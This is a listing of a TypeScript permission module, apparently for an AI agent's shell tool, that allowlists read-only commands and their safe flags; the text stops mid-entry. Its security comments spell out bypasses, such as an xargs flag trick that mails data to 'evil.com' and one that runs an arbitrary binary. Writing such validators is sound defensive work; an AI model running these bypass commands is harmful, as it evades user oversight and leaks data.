 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type { z } from 'zod/v4'
2
+ import { getOriginalCwd } from '../../bootstrap/state.js'
3
+ import {
4
+ extractOutputRedirections,
5
+ splitCommand_DEPRECATED,
6
+ } from '../../utils/bash/commands.js'
7
+ import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
8
+ import { getCwd } from '../../utils/cwd.js'
9
+ import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
10
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
11
+ import { getPlatform } from '../../utils/platform.js'
12
+ import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
13
+ import {
14
+ containsVulnerableUncPath,
15
+ DOCKER_READ_ONLY_COMMANDS,
16
+ EXTERNAL_READONLY_COMMANDS,
17
+ type FlagArgType,
18
+ GH_READ_ONLY_COMMANDS,
19
+ GIT_READ_ONLY_COMMANDS,
20
+ PYRIGHT_READ_ONLY_COMMANDS,
21
+ RIPGREP_READ_ONLY_COMMANDS,
22
+ validateFlags,
23
+ } from '../../utils/shell/readOnlyCommandValidation.js'
24
+ import type { BashTool } from './BashTool.js'
25
+ import { isNormalizedGitCommand } from './bashPermissions.js'
26
+ import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
27
+ import {
28
+ COMMAND_OPERATION_TYPE,
29
+ PATH_EXTRACTORS,
30
+ type PathCommand,
31
+ } from './pathValidation.js'
32
+ import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
33
+
34
+ // Unified command validation configuration system
35
+ type CommandConfig = {
36
+ // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
37
+ safeFlags: Record<string, FlagArgType>
38
+ // An optional regex that is used for additional validation beyond flag parsing
39
+ regex?: RegExp
40
+ // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
41
+ // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
42
+ additionalCommandIsDangerousCallback?: (
43
+ rawCommand: string,
44
+ args: string[],
45
+ ) => boolean
46
+ // When false, the tool does NOT respect POSIX `--` end-of-options.
47
+ // validateFlags will continue checking flags after `--` instead of breaking.
48
+ // Default: true (most tools respect `--`).
49
+ respectsDoubleDash?: boolean
50
+ }
51
+
52
+ // Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
53
+ // SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
54
+ // they execute arbitrary commands for each search result.
55
+ const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
56
+ '-h': 'none',
57
+ '--help': 'none',
58
+ '-V': 'none',
59
+ '--version': 'none',
60
+ '-H': 'none',
61
+ '--hidden': 'none',
62
+ '-I': 'none',
63
+ '--no-ignore': 'none',
64
+ '--no-ignore-vcs': 'none',
65
+ '--no-ignore-parent': 'none',
66
+ '-s': 'none',
67
+ '--case-sensitive': 'none',
68
+ '-i': 'none',
69
+ '--ignore-case': 'none',
70
+ '-g': 'none',
71
+ '--glob': 'none',
72
+ '--regex': 'none',
73
+ '-F': 'none',
74
+ '--fixed-strings': 'none',
75
+ '-a': 'none',
76
+ '--absolute-path': 'none',
77
+ // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
78
+ // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
79
+ '-L': 'none',
80
+ '--follow': 'none',
81
+ '-p': 'none',
82
+ '--full-path': 'none',
83
+ '-0': 'none',
84
+ '--print0': 'none',
85
+ '-d': 'number',
86
+ '--max-depth': 'number',
87
+ '--min-depth': 'number',
88
+ '--exact-depth': 'number',
89
+ '-t': 'string',
90
+ '--type': 'string',
91
+ '-e': 'string',
92
+ '--extension': 'string',
93
+ '-S': 'string',
94
+ '--size': 'string',
95
+ '--changed-within': 'string',
96
+ '--changed-before': 'string',
97
+ '-o': 'string',
98
+ '--owner': 'string',
99
+ '-E': 'string',
100
+ '--exclude': 'string',
101
+ '--ignore-file': 'string',
102
+ '-c': 'string',
103
+ '--color': 'string',
104
+ '-j': 'number',
105
+ '--threads': 'number',
106
+ '--max-buffer-time': 'string',
107
+ '--max-results': 'number',
108
+ '-1': 'none',
109
+ '-q': 'none',
110
+ '--quiet': 'none',
111
+ '--show-errors': 'none',
112
+ '--strip-cwd-prefix': 'none',
113
+ '--one-file-system': 'none',
114
+ '--prune': 'none',
115
+ '--search-path': 'string',
116
+ '--base-directory': 'string',
117
+ '--path-separator': 'string',
118
+ '--batch-size': 'number',
119
+ '--no-require-git': 'none',
120
+ '--hyperlink': 'string',
121
+ '--and': 'string',
122
+ '--format': 'string',
123
+ }
124
+
125
+ // Central configuration for allowlist-based command validation
126
+ // All commands and flags here should only allow reading files. They should not
127
+ // allow writing to files, executing code, or creating network requests.
128
+ const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
129
+ xargs: {
130
+ safeFlags: {
131
+ '-I': '{}',
132
+ // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
133
+ // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
134
+ // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
135
+ // flag takes NO arg and `X` becomes the next positional (target command).
136
+ //
137
+ // `-i` (`i::` — optional replace-str):
138
+ // echo /usr/sbin/sendm | xargs -it tail a@evil.com
139
+ // validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
140
+ // GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
141
+ //
142
+ // `-e` (`e::` — optional eof-str):
143
+ // cat data | xargs -e EOF echo foo
144
+ // validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
145
+ // GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
146
+ // → executes binary named EOF from PATH → CODE EXEC (malicious repo)
147
+ //
148
+ // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
149
+ // arg) instead — both validator and xargs agree on argument consumption.
150
+ // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
151
+ '-n': 'number',
152
+ '-P': 'number',
153
+ '-L': 'number',
154
+ '-s': 'number',
155
+ '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
156
+ '-0': 'none',
157
+ '-t': 'none',
158
+ '-r': 'none',
159
+ '-x': 'none',
160
+ '-d': 'char',
161
+ },
162
+ },
163
+ // All git read-only commands from shared validation map
164
+ ...GIT_READ_ONLY_COMMANDS,
165
+ file: {
166
+ safeFlags: {
167
+ // Output format flags
168
+ '--brief': 'none',
169
+ '-b': 'none',
170
+ '--mime': 'none',
171
+ '-i': 'none',
172
+ '--mime-type': 'none',
173
+ '--mime-encoding': 'none',
174
+ '--apple': 'none',
175
+ // Behavior flags
176
+ '--check-encoding': 'none',
177
+ '-c': 'none',
178
+ '--exclude': 'string',
179
+ '--exclude-quiet': 'string',
180
+ '--print0': 'none',
181
+ '-0': 'none',
182
+ '-f': 'string',
183
+ '-F': 'string',
184
+ '--separator': 'string',
185
+ '--help': 'none',
186
+ '--version': 'none',
187
+ '-v': 'none',
188
+ // Following/dereferencing
189
+ '--no-dereference': 'none',
190
+ '-h': 'none',
191
+ '--dereference': 'none',
192
+ '-L': 'none',
193
+ // Magic file options (safe when just reading)
194
+ '--magic-file': 'string',
195
+ '-m': 'string',
196
+ // Other safe options
197
+ '--keep-going': 'none',
198
+ '-k': 'none',
199
+ '--list': 'none',
200
+ '-l': 'none',
201
+ '--no-buffer': 'none',
202
+ '-n': 'none',
203
+ '--preserve-date': 'none',
204
+ '-p': 'none',
205
+ '--raw': 'none',
206
+ '-r': 'none',
207
+ '-s': 'none',
208
+ '--special-files': 'none',
209
+ // Uncompress flag for archives
210
+ '--uncompress': 'none',
211
+ '-z': 'none',
212
+ },
213
+ },
214
+ sed: {
215
+ safeFlags: {
216
+ // Expression flags
217
+ '--expression': 'string',
218
+ '-e': 'string',
219
+ // Output control
220
+ '--quiet': 'none',
221
+ '--silent': 'none',
222
+ '-n': 'none',
223
+ // Extended regex
224
+ '--regexp-extended': 'none',
225
+ '-r': 'none',
226
+ '--posix': 'none',
227
+ '-E': 'none',
228
+ // Line handling
229
+ '--line-length': 'number',
230
+ '-l': 'number',
231
+ '--zero-terminated': 'none',
232
+ '-z': 'none',
233
+ '--separate': 'none',
234
+ '-s': 'none',
235
+ '--unbuffered': 'none',
236
+ '-u': 'none',
237
+ // Debugging/help
238
+ '--debug': 'none',
239
+ '--help': 'none',
240
+ '--version': 'none',
241
+ },
242
+ additionalCommandIsDangerousCallback: (
243
+ rawCommand: string,
244
+ _args: string[],
245
+ ) => !sedCommandIsAllowedByAllowlist(rawCommand),
246
+ },
247
+ sort: {
248
+ safeFlags: {
249
+ // Sorting options
250
+ '--ignore-leading-blanks': 'none',
251
+ '-b': 'none',
252
+ '--dictionary-order': 'none',
253
+ '-d': 'none',
254
+ '--ignore-case': 'none',
255
+ '-f': 'none',
256
+ '--general-numeric-sort': 'none',
257
+ '-g': 'none',
258
+ '--human-numeric-sort': 'none',
259
+ '-h': 'none',
260
+ '--ignore-nonprinting': 'none',
261
+ '-i': 'none',
262
+ '--month-sort': 'none',
263
+ '-M': 'none',
264
+ '--numeric-sort': 'none',
265
+ '-n': 'none',
266
+ '--random-sort': 'none',
267
+ '-R': 'none',
268
+ '--reverse': 'none',
269
+ '-r': 'none',
270
+ '--sort': 'string',
271
+ '--stable': 'none',
272
+ '-s': 'none',
273
+ '--unique': 'none',
274
+ '-u': 'none',
275
+ '--version-sort': 'none',
276
+ '-V': 'none',
277
+ '--zero-terminated': 'none',
278
+ '-z': 'none',
279
+ // Key specifications
280
+ '--key': 'string',
281
+ '-k': 'string',
282
+ '--field-separator': 'string',
283
+ '-t': 'string',
284
+ // Checking
285
+ '--check': 'none',
286
+ '-c': 'none',
287
+ '--check-char-order': 'none',
288
+ '-C': 'none',
289
+ // Merging
290
+ '--merge': 'none',
291
+ '-m': 'none',
292
+ // Buffer size
293
+ '--buffer-size': 'string',
294
+ '-S': 'string',
295
+ // Parallel processing
296
+ '--parallel': 'number',
297
+ // Batch size
298
+ '--batch-size': 'number',
299
+ // Help and version
300
+ '--help': 'none',
301
+ '--version': 'none',
302
+ },
303
+ },
304
+ man: {
305
+ safeFlags: {
306
+ // Safe display options
307
+ '-a': 'none', // Display all manual pages
308
+ '--all': 'none', // Same as -a
309
+ '-d': 'none', // Debug mode
310
+ '-f': 'none', // Emulate whatis
311
+ '--whatis': 'none', // Same as -f
312
+ '-h': 'none', // Help
313
+ '-k': 'none', // Emulate apropos
314
+ '--apropos': 'none', // Same as -k
315
+ '-l': 'string', // Local file (safe for reading, Linux only)
316
+ '-w': 'none', // Display location instead of content
317
+
318
+ // Safe formatting options
319
+ '-S': 'string', // Restrict manual sections
320
+ '-s': 'string', // Same as -S for whatis/apropos mode
321
+ },
322
+ },
323
+ // help command - only allow bash builtin help flags to prevent attacks when
324
+ // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
325
+ // man's -P flag allows arbitrary command execution via pager.
326
+ help: {
327
+ safeFlags: {
328
+ '-d': 'none', // Output short description for each topic
329
+ '-m': 'none', // Display usage in pseudo-manpage format
330
+ '-s': 'none', // Output only a short usage synopsis
331
+ },
332
+ },
333
+ netstat: {
334
+ safeFlags: {
335
+ // Safe display options
336
+ '-a': 'none', // Show all sockets
337
+ '-L': 'none', // Show listen queue sizes
338
+ '-l': 'none', // Print full IPv6 address
339
+ '-n': 'none', // Show network addresses as numbers
340
+
341
+ // Safe filtering options
342
+ '-f': 'string', // Address family (inet, inet6, unix, vsock)
343
+
344
+ // Safe interface options
345
+ '-g': 'none', // Show multicast group membership
346
+ '-i': 'none', // Show interface state
347
+ '-I': 'string', // Specific interface
348
+
349
+ // Safe statistics options
350
+ '-s': 'none', // Show per-protocol statistics
351
+
352
+ // Safe routing options
353
+ '-r': 'none', // Show routing tables
354
+
355
+ // Safe mbuf options
356
+ '-m': 'none', // Show memory management statistics
357
+
358
+ // Safe other options
359
+ '-v': 'none', // Increase verbosity
360
+ },
361
+ },
362
+ ps: {
363
+ safeFlags: {
364
+ // UNIX-style process selection (these are safe)
365
+ '-e': 'none', // Select all processes
366
+ '-A': 'none', // Select all processes (same as -e)
367
+ '-a': 'none', // Select all with tty except session leaders
368
+ '-d': 'none', // Select all except session leaders
369
+ '-N': 'none', // Negate selection
370
+ '--deselect': 'none',
371
+
372
+ // UNIX-style output format (safe, doesn't show env)
373
+ '-f': 'none', // Full format
374
+ '-F': 'none', // Extra full format
375
+ '-l': 'none', // Long format
376
+ '-j': 'none', // Jobs format
377
+ '-y': 'none', // Don't show flags
378
+
379
+ // Output modifiers (safe ones)
380
+ '-w': 'none', // Wide output
381
+ '-ww': 'none', // Unlimited width
382
+ '--width': 'number',
383
+ '-c': 'none', // Show scheduler info
384
+ '-H': 'none', // Show process hierarchy
385
+ '--forest': 'none',
386
+ '--headers': 'none',
387
+ '--no-headers': 'none',
388
+ '-n': 'string', // Set namelist file
389
+ '--sort': 'string',
390
+
391
+ // Thread display
392
+ '-L': 'none', // Show threads
393
+ '-T': 'none', // Show threads
394
+ '-m': 'none', // Show threads after processes
395
+
396
+ // Process selection by criteria
397
+ '-C': 'string', // By command name
398
+ '-G': 'string', // By real group ID
399
+ '-g': 'string', // By session or effective group
400
+ '-p': 'string', // By PID
401
+ '--pid': 'string',
402
+ '-q': 'string', // Quick mode by PID
403
+ '--quick-pid': 'string',
404
+ '-s': 'string', // By session ID
405
+ '--sid': 'string',
406
+ '-t': 'string', // By tty
407
+ '--tty': 'string',
408
+ '-U': 'string', // By real user ID
409
+ '-u': 'string', // By effective user ID
410
+ '--user': 'string',
411
+
412
+ // Help/version
413
+ '--help': 'none',
414
+ '--info': 'none',
415
+ '-V': 'none',
416
+ '--version': 'none',
417
+ },
418
+ // Block BSD-style 'e' modifier which shows environment variables
419
+ // BSD options are letter-only tokens without a leading dash
420
+ additionalCommandIsDangerousCallback: (
421
+ _rawCommand: string,
422
+ args: string[],
423
+ ) => {
424
+ // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
425
+ // A BSD-style option is a token of only letters (no leading dash) containing 'e'
426
+ return args.some(
427
+ a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
428
+ )
429
+ },
430
+ },
431
+ base64: {
432
+ respectsDoubleDash: false, // macOS base64 does not respect POSIX --
433
+ safeFlags: {
434
+ // Safe decode options
435
+ '-d': 'none', // Decode
436
+ '-D': 'none', // Decode (macOS)
437
+ '--decode': 'none', // Decode
438
+
439
+ // Safe formatting options
440
+ '-b': 'number', // Break lines at num (macOS)
441
+ '--break': 'number', // Break lines at num (macOS)
442
+ '-w': 'number', // Wrap lines at COLS (Linux)
443
+ '--wrap': 'number', // Wrap lines at COLS (Linux)
444
+
445
+ // Safe input options (read from file, not write)
446
+ '-i': 'string', // Input file (safe for reading)
447
+ '--input': 'string', // Input file (safe for reading)
448
+
449
+ // Safe misc options
450
+ '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
451
+ '-h': 'none', // Help
452
+ '--help': 'none', // Help
453
+ '--version': 'none', // Version
454
+ },
455
+ },
456
+ grep: {
457
+ safeFlags: {
458
+ // Pattern flags
459
+ '-e': 'string', // Pattern
460
+ '--regexp': 'string',
461
+ '-f': 'string', // File with patterns
462
+ '--file': 'string',
463
+ '-F': 'none', // Fixed strings
464
+ '--fixed-strings': 'none',
465
+ '-G': 'none', // Basic regexp (default)
466
+ '--basic-regexp': 'none',
467
+ '-E': 'none', // Extended regexp
468
+ '--extended-regexp': 'none',
469
+ '-P': 'none', // Perl regexp
470
+ '--perl-regexp': 'none',
471
+
472
+ // Matching control
473
+ '-i': 'none', // Ignore case
474
+ '--ignore-case': 'none',
475
+ '--no-ignore-case': 'none',
476
+ '-v': 'none', // Invert match
477
+ '--invert-match': 'none',
478
+ '-w': 'none', // Word regexp
479
+ '--word-regexp': 'none',
480
+ '-x': 'none', // Line regexp
481
+ '--line-regexp': 'none',
482
+
483
+ // Output control
484
+ '-c': 'none', // Count
485
+ '--count': 'none',
486
+ '--color': 'string',
487
+ '--colour': 'string',
488
+ '-L': 'none', // Files without match
489
+ '--files-without-match': 'none',
490
+ '-l': 'none', // Files with matches
491
+ '--files-with-matches': 'none',
492
+ '-m': 'number', // Max count
493
+ '--max-count': 'number',
494
+ '-o': 'none', // Only matching
495
+ '--only-matching': 'none',
496
+ '-q': 'none', // Quiet
497
+ '--quiet': 'none',
498
+ '--silent': 'none',
499
+ '-s': 'none', // No messages
500
+ '--no-messages': 'none',
501
+
502
+ // Output line prefix
503
+ '-b': 'none', // Byte offset
504
+ '--byte-offset': 'none',
505
+ '-H': 'none', // With filename
506
+ '--with-filename': 'none',
507
+ '-h': 'none', // No filename
508
+ '--no-filename': 'none',
509
+ '--label': 'string',
510
+ '-n': 'none', // Line number
511
+ '--line-number': 'none',
512
+ '-T': 'none', // Initial tab
513
+ '--initial-tab': 'none',
514
+ '-u': 'none', // Unix byte offsets
515
+ '--unix-byte-offsets': 'none',
516
+ '-Z': 'none', // Null after filename
517
+ '--null': 'none',
518
+ '-z': 'none', // Null data
519
+ '--null-data': 'none',
520
+
521
+ // Context control
522
+ '-A': 'number', // After context
523
+ '--after-context': 'number',
524
+ '-B': 'number', // Before context
525
+ '--before-context': 'number',
526
+ '-C': 'number', // Context
527
+ '--context': 'number',
528
+ '--group-separator': 'string',
529
+ '--no-group-separator': 'none',
530
+
531
+ // File and directory selection
532
+ '-a': 'none', // Text (process binary as text)
533
+ '--text': 'none',
534
+ '--binary-files': 'string',
535
+ '-D': 'string', // Devices
536
+ '--devices': 'string',
537
+ '-d': 'string', // Directories
538
+ '--directories': 'string',
539
+ '--exclude': 'string',
540
+ '--exclude-from': 'string',
541
+ '--exclude-dir': 'string',
542
+ '--include': 'string',
543
+ '-r': 'none', // Recursive
544
+ '--recursive': 'none',
545
+ '-R': 'none', // Dereference-recursive
546
+ '--dereference-recursive': 'none',
547
+
548
+ // Other options
549
+ '--line-buffered': 'none',
550
+ '-U': 'none', // Binary
551
+ '--binary': 'none',
552
+
553
+ // Help and version
554
+ '--help': 'none',
555
+ '-V': 'none',
556
+ '--version': 'none',
557
+ },
558
+ },
559
+ ...RIPGREP_READ_ONLY_COMMANDS,
560
+ // Checksum commands - these only read files and compute/verify hashes
561
+ // All flags are safe as they only affect output format or verification behavior
562
+ sha256sum: {
563
+ safeFlags: {
564
+ // Mode flags
565
+ '-b': 'none', // Binary mode
566
+ '--binary': 'none',
567
+ '-t': 'none', // Text mode
568
+ '--text': 'none',
569
+
570
+ // Check/verify flags
571
+ '-c': 'none', // Verify checksums from file
572
+ '--check': 'none',
573
+ '--ignore-missing': 'none', // Ignore missing files during check
574
+ '--quiet': 'none', // Quiet mode during check
575
+ '--status': 'none', // Don't output, exit code shows success
576
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
577
+ '-w': 'none', // Warn about improperly formatted lines
578
+ '--warn': 'none',
579
+
580
+ // Output format flags
581
+ '--tag': 'none', // BSD-style output
582
+ '-z': 'none', // End output lines with NUL
583
+ '--zero': 'none',
584
+
585
+ // Help and version
586
+ '--help': 'none',
587
+ '--version': 'none',
588
+ },
589
+ },
590
+ sha1sum: {
591
+ safeFlags: {
592
+ // Mode flags
593
+ '-b': 'none', // Binary mode
594
+ '--binary': 'none',
595
+ '-t': 'none', // Text mode
596
+ '--text': 'none',
597
+
598
+ // Check/verify flags
599
+ '-c': 'none', // Verify checksums from file
600
+ '--check': 'none',
601
+ '--ignore-missing': 'none', // Ignore missing files during check
602
+ '--quiet': 'none', // Quiet mode during check
603
+ '--status': 'none', // Don't output, exit code shows success
604
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
605
+ '-w': 'none', // Warn about improperly formatted lines
606
+ '--warn': 'none',
607
+
608
+ // Output format flags
609
+ '--tag': 'none', // BSD-style output
610
+ '-z': 'none', // End output lines with NUL
611
+ '--zero': 'none',
612
+
613
+ // Help and version
614
+ '--help': 'none',
615
+ '--version': 'none',
616
+ },
617
+ },
618
+ md5sum: {
619
+ safeFlags: {
620
+ // Mode flags
621
+ '-b': 'none', // Binary mode
622
+ '--binary': 'none',
623
+ '-t': 'none', // Text mode
624
+ '--text': 'none',
625
+
626
+ // Check/verify flags
627
+ '-c': 'none', // Verify checksums from file
628
+ '--check': 'none',
629
+ '--ignore-missing': 'none', // Ignore missing files during check
630
+ '--quiet': 'none', // Quiet mode during check
631
+ '--status': 'none', // Don't output, exit code shows success
632
+ '--strict': 'none', // Exit non-zero for improperly formatted lines
633
+ '-w': 'none', // Warn about improperly formatted lines
634
+ '--warn': 'none',
635
+
636
+ // Output format flags
637
+ '--tag': 'none', // BSD-style output
638
+ '-z': 'none', // End output lines with NUL
639
+ '--zero': 'none',
640
+
641
+ // Help and version
642
+ '--help': 'none',
643
+ '--version': 'none',
644
+ },
645
+ },
646
+ // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
647
+ // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
648
+ tree: {
649
+ safeFlags: {
650
+ // Listing options
651
+ '-a': 'none', // All files
652
+ '-d': 'none', // Directories only
653
+ '-l': 'none', // Follow symlinks
654
+ '-f': 'none', // Full path prefix
655
+ '-x': 'none', // Stay on current filesystem
656
+ '-L': 'number', // Max depth
657
+ // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
658
+ // WRITES 00Tree.html files to every subdirectory at the depth boundary.
659
+ // From man tree (< 2.1.0): "-R — at each of them execute tree again
660
+ // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
661
+ // depth" was misleading — the "rerun" includes a hardcoded -o file write.
662
+ // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
663
+ // subdir at depth 2. FILE WRITE, zero permissions.
664
+ '-P': 'string', // Include pattern
665
+ '-I': 'string', // Exclude pattern
666
+ '--gitignore': 'none',
667
+ '--gitfile': 'string',
668
+ '--ignore-case': 'none',
669
+ '--matchdirs': 'none',
670
+ '--metafirst': 'none',
671
+ '--prune': 'none',
672
+ '--info': 'none',
673
+ '--infofile': 'string',
674
+ '--noreport': 'none',
675
+ '--charset': 'string',
676
+ '--filelimit': 'number',
677
+ // File display options
678
+ '-q': 'none', // Non-printable as ?
679
+ '-N': 'none', // Non-printable as-is
680
+ '-Q': 'none', // Quote filenames
681
+ '-p': 'none', // Protections
682
+ '-u': 'none', // Owner
683
+ '-g': 'none', // Group
684
+ '-s': 'none', // Size bytes
685
+ '-h': 'none', // Human-readable sizes
686
+ '--si': 'none',
687
+ '--du': 'none',
688
+ '-D': 'none', // Last modification time
689
+ '--timefmt': 'string',
690
+ '-F': 'none', // Append indicator
691
+ '--inodes': 'none',
692
+ '--device': 'none',
693
+ // Sorting options
694
+ '-v': 'none', // Version sort
695
+ '-t': 'none', // Sort by mtime
696
+ '-c': 'none', // Sort by ctime
697
+ '-U': 'none', // Unsorted
698
+ '-r': 'none', // Reverse sort
699
+ '--dirsfirst': 'none',
700
+ '--filesfirst': 'none',
701
+ '--sort': 'string',
702
+ // Graphics/output options
703
+ '-i': 'none', // No indentation lines
704
+ '-A': 'none', // ANSI line graphics
705
+ '-S': 'none', // CP437 line graphics
706
+ '-n': 'none', // No color
707
+ '-C': 'none', // Color
708
+ '-X': 'none', // XML output
709
+ '-J': 'none', // JSON output
710
+ '-H': 'string', // HTML output with base HREF
711
+ '--nolinks': 'none',
712
+ '--hintro': 'string',
713
+ '--houtro': 'string',
714
+ '-T': 'string', // HTML title
715
+ '--hyperlink': 'none',
716
+ '--scheme': 'string',
717
+ '--authority': 'string',
718
+ // Input options (read from file, not write)
719
+ '--fromfile': 'none',
720
+ '--fromtabfile': 'none',
721
+ '--fflinks': 'none',
722
+ // Help and version
723
+ '--help': 'none',
724
+ '--version': 'none',
725
+ },
726
+ },
727
+ // date command - moved from READONLY_COMMANDS because -s/--set can set system time
728
+ // Also -f/--file can be used to read dates from file and set time
729
+ // We only allow safe display options
730
+ date: {
731
+ safeFlags: {
732
+ // Display options (safe - don't modify system time)
733
+ '-d': 'string', // --date=STRING - display time described by STRING
734
+ '--date': 'string',
735
+ '-r': 'string', // --reference=FILE - display file's modification time
736
+ '--reference': 'string',
737
+ '-u': 'none', // --utc - use UTC
738
+ '--utc': 'none',
739
+ '--universal': 'none',
740
+ // Output format options
741
+ '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
742
+ '--iso-8601': 'string',
743
+ '-R': 'none', // --rfc-email
744
+ '--rfc-email': 'none',
745
+ '--rfc-3339': 'string',
746
+ // Debug/help
747
+ '--debug': 'none',
748
+ '--help': 'none',
749
+ '--version': 'none',
750
+ },
751
+ // Dangerous flags NOT included (blocked by omission):
752
+ // -s / --set - sets system time
753
+ // -f / --file - reads dates from file (can be used to set time in batch)
754
+ // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
755
+ // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
756
+ additionalCommandIsDangerousCallback: (
757
+ _rawCommand: string,
758
+ args: string[],
759
+ ) => {
760
+ // args are already parsed tokens after "date"
761
+ // Flags that require an argument
762
+ const flagsWithArgs = new Set([
763
+ '-d',
764
+ '--date',
765
+ '-r',
766
+ '--reference',
767
+ '--iso-8601',
768
+ '--rfc-3339',
769
+ ])
770
+ let i = 0
771
+ while (i < args.length) {
772
+ const token = args[i]!
773
+ // Skip flags and their arguments
774
+ if (token.startsWith('--') && token.includes('=')) {
775
+ // Long flag with =value, already consumed
776
+ i++
777
+ } else if (token.startsWith('-')) {
778
+ // Flag - check if it takes an argument
779
+ if (flagsWithArgs.has(token)) {
780
+ i += 2 // Skip flag and its argument
781
+ } else {
782
+ i++ // Just skip the flag
783
+ }
784
+ } else {
785
+ // Positional argument - must start with + for format strings
786
+ // Anything else (like MMDDhhmm) could set system time
787
+ if (!token.startsWith('+')) {
788
+ return true // Dangerous
789
+ }
790
+ i++
791
+ }
792
+ }
793
+ return false // Safe
794
+ },
795
+ },
796
+ // hostname command - moved from READONLY_COMMANDS because positional args set hostname
797
+ // Also -F/--file sets hostname from file, -b/--boot sets default hostname
798
+ // We only allow safe display options and BLOCK any positional arguments
799
+ hostname: {
800
+ safeFlags: {
801
+ // Display options only (safe)
802
